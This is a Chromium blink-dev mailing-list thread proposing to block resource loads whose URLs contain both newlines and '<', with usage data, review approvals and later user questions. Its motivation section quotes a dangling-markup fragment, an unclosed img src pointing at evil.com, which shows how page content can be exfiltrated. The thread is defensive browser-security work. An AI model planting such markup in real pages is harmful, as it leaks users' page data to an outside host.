Intent to Remove: Loading resources with newlines and `<` in URLs.

8,845 views
Skip to first unread message

Mike West

unread,
May 22, 2017, 7:05:46 AM5/22/17
to blink-dev

Primary eng (and PM) emails

mk...@chromium.org


Link to “Intent to Deprecate” thread

https://groups.google.com/a/chromium.org/d/msg/blink-dev/AqSrOMzwrlk/wUglQnTJCgAJ


Summary

I'd like to block fetches for URLs with `http` or `https` schemes that originally contained both newline and `<` characters. That is, the following image would be blocked:


```

<img src="https://example.com/

this/is/a/path

?and=this&is=a&query=string

">

```


Motivation

As discussed in https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ, dangling markup is the next softest attack surface, assuming robust defense against direct script injection. Some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. `<img src='https://evil.com/?` eats the page until the next `'`). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful.

Interoperability and Compatibility Risk

There is some risk, but as discussed below, many affected sites are already broken in one way or another, and I think the systemic risk is concentrated in ad scripts that can change in one place.


I asked other vendors for feedback in March on https://github.com/whatwg/fetch/pull/519, pinged another sample of folks again in https://github.com/whatwg/fetch/issues/546. So far, I've only heard tweetings from developers who think it's a good idea, but nothing from other vendors. I'll ping some more. :)

Edge: ???

Firefox: ???

Safari: ???


Please include links where possible.


Alternative implementation suggestion for web developers

Developers would need to escape content before putting it into a URL. This seems like a reasonable best-practice to encourage.


Usage information from UseCounter

From Chrome's beta channel, we see the following numbers over the last week:

* 0.4708% of page views parse a URL containing `\n`.
* 0.2749% actually fetch a url containing `\n`.
* 0.0189% of page views parse a URL a URL containing both `\n` and `<`.
* I forgot that `<` is percent-encoded by the time we get to fetching, so my data here is crap. Assuming the same ratio, 0.0110% of page views might fetch a URL containing `\n` and `<`.

0.01% is not nothing, so I've dug into the data a little more by running telemetry over a sample of 100k sites (culled from a somewhat-old version of Alexa's 1M). I've put all the details into https://github.com/whatwg/fetch/issues/546 for discussion with other vendors, but the TL;DR is:

* Only 25 pages in that crawl were affected.
* 20 are broken in various ways already (e.g. `<img src="<br>\n<b>Notice</b>: Undefined variable: cid...`).
* 5 contained advertising or tracking scripts that would stop working.

I'd suggest that the effect on most sites is small, and concentrated in shared scripts that seem most likely to update quickly if/when this change started to affect someone's bottom line.

Philip Jägenstedt

unread,
May 22, 2017, 11:51:31 AM5/22/17
to Mike West, blink-dev
Given the findings from running telemetry, I think this looks very reasonable.

This is a subset of the deprecation of UseCounter::kCanRequestURLHTTPContainingNewline, right? Will URLs with just newlines and no `<` continue to be deprecated, or is this the final shape of this mitigation?

In the example you gave, I see no `<` in the URL, was that a typo? (https://github.com/whatwg/fetch/pull/519 really does look for both.)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAKXHy%3DdiXK0jjNqnpCzgJwjBDM1z9yAnKeXjGq%3D85hq_L78Zaw%40mail.gmail.com.

Mike

unread,
May 22, 2017, 12:17:40 PM5/22/17
to blink-dev, mk...@chromium.org
On Monday, May 22, 2017 at 5:51:31 PM UTC+2, Philip Jägenstedt wrote: 
This is a subset of the deprecation of UseCounter::kCanRequestURLHTTPContainingNewline, right? Will URLs with just newlines and no `<` continue to be deprecated, or is this the final shape of this mitigation?

This is a subset of the existing deprecation, yes, and I would remove the deprecation warning for the rest. 

There's a performance win (and a platform-sanity win!) to dropping the magical whitespace behavior entirely, but the usage is higher than I think I can reasonably inconvenience for those reasons. If the usage changes over time, I'd love to take another stab at getting rid of this magic, but for the specific purposes I care about at the moment, this subset is good enough. URLs with `\n` and `<` are pretty unlikely to be intentional, and there's a clear security win to removing that combination.
 
In the example you gave, I see no `<` in the URL, was that a typo?

Yes. Unfortunately, I'm dumb. :)

Better examples can be found in https://github.com/whatwg/fetch/issues/546. I'll avoid making one up here, as I'd probably just make this more confusing. :)
 
(https://github.com/whatwg/fetch/pull/519 really does look for both.)

So does the patch at https://codereview.chromium.org/2895953002, which also has tests that you could peruse.

Thanks!

-mike

Philip Rogers

unread,
May 22, 2017, 12:30:41 PM5/22/17
to Mike, blink-dev
Would this block text-encoded svg data uris such as:
<img src="data:image/svg+xml;utf8,<svg width='100' height='100' xmlns='http://www.w3.org/2000/svg'><rect width='100' height='100' fill='blue'/></svg>">

Mike

unread,
May 22, 2017, 2:22:59 PM5/22/17
to blink-dev, mk...@chromium.org
On Monday, May 22, 2017 at 6:30:41 PM UTC+2, Philip Rogers wrote:
Would this block text-encoded svg data uris such as:
<img src="data:image/svg+xml;utf8,<svg width='100' height='100' xmlns='http://www.w3.org/2000/svg'><rect width='100' height='100' fill='blue'/></svg>">

No. Unlike the earlier deprecation, I only intend to block fetches for URLs with `http` or `https` schemes (though I apparently didn't update the patch to Fetch with that language; I'll fix that).

-mike

Mike

unread,
May 22, 2017, 2:28:00 PM5/22/17
to blink-dev, mk...@chromium.org
(That said, a comment on https://github.com/whatwg/fetch/issues/546#issuecomment-303167500 notes that Firefox and IE don't actually support the unencoded `<` syntax you're noting, pdr@. If that's accurate, and we think it's sane, perhaps we should take the opportunity to align with their behavior?)
 
-mike

Philip Jägenstedt

unread,
May 23, 2017, 7:26:12 AM5/23/17
to Mike, blink-dev
I guess that would amount to changes in some other code path that has to do with data: URL parsing specifically?

Whatever the case, LGTM1 to blocking the loads following whatever conditions you settle on in the issue/PR, as long as our use counters are a descent proxy for it.

Mike

unread,
May 24, 2017, 10:44:05 AM5/24/17
to blink-dev, mk...@chromium.org
Thanks to pdr@, we've confirmed that Firefox and Edge do support raw `<` in `data:` URLs. So I think the approach spelled out in the PRs is the approach I'd prefer.

Apple has raised some layering concerns and performance concerns on the patch to URL: https://github.com/whatwg/url/pull/284. I believe I have good answers to those questions in the thread, and they noted that "it might not be completely catastrophic". So, let's update the interop risk accordingly:

Firefox: ???
Edge: ???

:)

-mike

Rick Byers

unread,
May 24, 2017, 11:37:20 AM5/24/17
to Mike, blink-dev
LGTM2

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.

TAMURA, Kent

unread,
May 29, 2017, 10:33:34 PM5/29/17
to Rick Byers, Mike, blink-dev
LGTM3.


chmie...@gmail.com

unread,
Jul 27, 2017, 8:15:23 AM7/27/17
to blink-dev, mk...@chromium.org
I've just saw this warning in console for my <img src="data:image/png;base64,......" /> files as I had left the default format of my encode64 function which is 60 chars per line. So should I change it? Or as there is no http nor https can It stay as is ?

Mike West

unread,
Aug 7, 2017, 4:34:12 AM8/7/17
to chmie...@gmail.com, blink-dev
On Thu, Jul 27, 2017 at 2:15 PM, <chmie...@gmail.com> wrote:
I've just saw this warning in console for my <img src="data:image/png;base64,......" /> files as I had left the default format of my encode64 function which is 60 chars per line. So should I change it? Or as there is no http nor https can It stay as is ?

Sorry for the delayed response, I missed this. The behavior in beta right now (Chrome 61) does not block `data:` URLs. It's possible we'll reevaluate that based on usage, but I'll send a separate intent if/when I go down that road.

Thanks!
-mike

canars...@gmail.com

unread,
Aug 20, 2017, 8:16:23 AM8/20/17
to blink-dev
I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

Philip Jägenstedt

unread,
Aug 23, 2017, 7:38:18 AM8/23/17
to canars...@gmail.com, blink-dev
Hi canarslan1212,

Did you run into this in your own development and found no console warning? There should be this warning: "Resource requests whose URLs contained both removed whitespace (`\\n`, `\\r`, `\\t`) characters and less-than characters (`<`) are blocked. Please remove newlines and encode less-than are blocked. Please remove newlines and encode less-than load these resources. See https://www.chromestatus.com/feature/5735596811091968 for more details."

On Sun, Aug 20, 2017 at 2:16 PM <canars...@gmail.com> wrote:
I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.

canars...@gmail.com

unread,
Aug 23, 2017, 8:09:00 AM8/23/17
to blink-dev, canars...@gmail.com
when I type:
<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">

It displays image without error (in chrome beta)

I think it should be error, am I wrong?

23 Ağustos 2017 Çarşamba 14:38:18 UTC+3 tarihinde Philip Jägenstedt yazdı:

Philip Jägenstedt

unread,
Aug 23, 2017, 8:27:58 AM8/23/17
to canars...@gmail.com, blink-dev, mk...@chromium.org
As far as I can tell that should be an error, but I'm going to have to defer to +Mike West on this.

Mike West

unread,
Aug 23, 2017, 8:49:06 AM8/23/17
to Philip Jägenstedt, blink-dev, canars...@gmail.com
On Wed 23. Aug 2017 at 05:27, Philip Jägenstedt <foo...@chromium.org> wrote:
As far as I can tell that should be an error, but I'm going to have to defer to +Mike West on this.

On Wed, Aug 23, 2017 at 2:09 PM <canars...@gmail.com> wrote:
when I type:
<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">

It displays image without error (in chrome beta)

I think it should be error, am I wrong?

We’re blocking requests that have both a newline and `<`. It doesn’t appear that the tag you’ve described above has a `<` character in the URL, so it won’t be blocked by this change.


23 Ağustos 2017 Çarşamba 14:38:18 UTC+3 tarihinde Philip Jägenstedt yazdı:
Hi canarslan1212,

Did you run into this in your own development and found no console warning? There should be this warning: "Resource requests whose URLs contained both removed whitespace (`\\n`, `\\r`, `\\t`) characters and less-than characters (`<`) are blocked. Please remove newlines and encode less-than are blocked. Please remove newlines and encode less-than load these resources. See https://www.chromestatus.com/feature/5735596811091968 for more details."

On Sun, Aug 20, 2017 at 2:16 PM <canars...@gmail.com> wrote:
I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/80d195a7-b47a-43d1-b6cd-7c8fedeb50ba%40chromium.org.

--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c0276630-a38e-4583-9a7c-7134ec85e718%40chromium.org.
--
-mike

canars...@gmail.com

unread,
Aug 23, 2017, 12:56:16 PM8/23/17
to blink-dev, foo...@chromium.org, canars...@gmail.com
I got it but in summary part it says that the following image would be blocked
<img src="https://example.com/
this/is/a/path
?and=this&is=a&query=string
">
but there is no < character. can someone edit first description to make it more clear



23 Ağustos 2017 Çarşamba 15:49:06 UTC+3 tarihinde Mike West yazdı:

gusbe...@gmail.com

unread,
Aug 27, 2017, 4:52:55 PM8/27/17
to blink-dev

Will it block like in PHP:


a. <h3><?php echo _relogios ?></h3>?
b. <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"?
b. <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">?

canars...@gmail.com

unread,
Aug 27, 2017, 6:06:00 PM8/27/17
to blink-dev, gusbe...@gmail.com
a. not related with topic
b. if you have ">" at the end of line nothing will change (
c. no 

if you did not make mistakes about codes like 

<a href="index.php?
hl=<?php echo $html_language ?>
<?php //#page-top" ?>
<div ....

both a newline and `<` are needed 


27 Ağustos 2017 Pazar 23:52:55 UTC+3 tarihinde gusbe...@gmail.com yazdı:

powerba...@gmail.com

unread,
Sep 3, 2017, 7:58:20 PM9/3/17
to blink-dev

brikena...@gmail.com

unread,
Sep 11, 2017, 8:07:22 AM9/11/17
to blink-dev

aa...@lifeiscontent.net

unread,
May 13, 2019, 1:42:58 PM5/13/19
to blink-dev
this broke an old router I'm using, their admin portal uses this as a feature (no idea why) is there a way to enable this back for my local domains so I can upgrade the router?

neverchec...@gmail.com

unread,
Jul 30, 2019, 12:25:35 PM7/30/19
to blink-dev
I have no urls anywhere in my html or js and I'm still getting blocked. what gives??
Reply all
Reply to author
Forward
0 new messages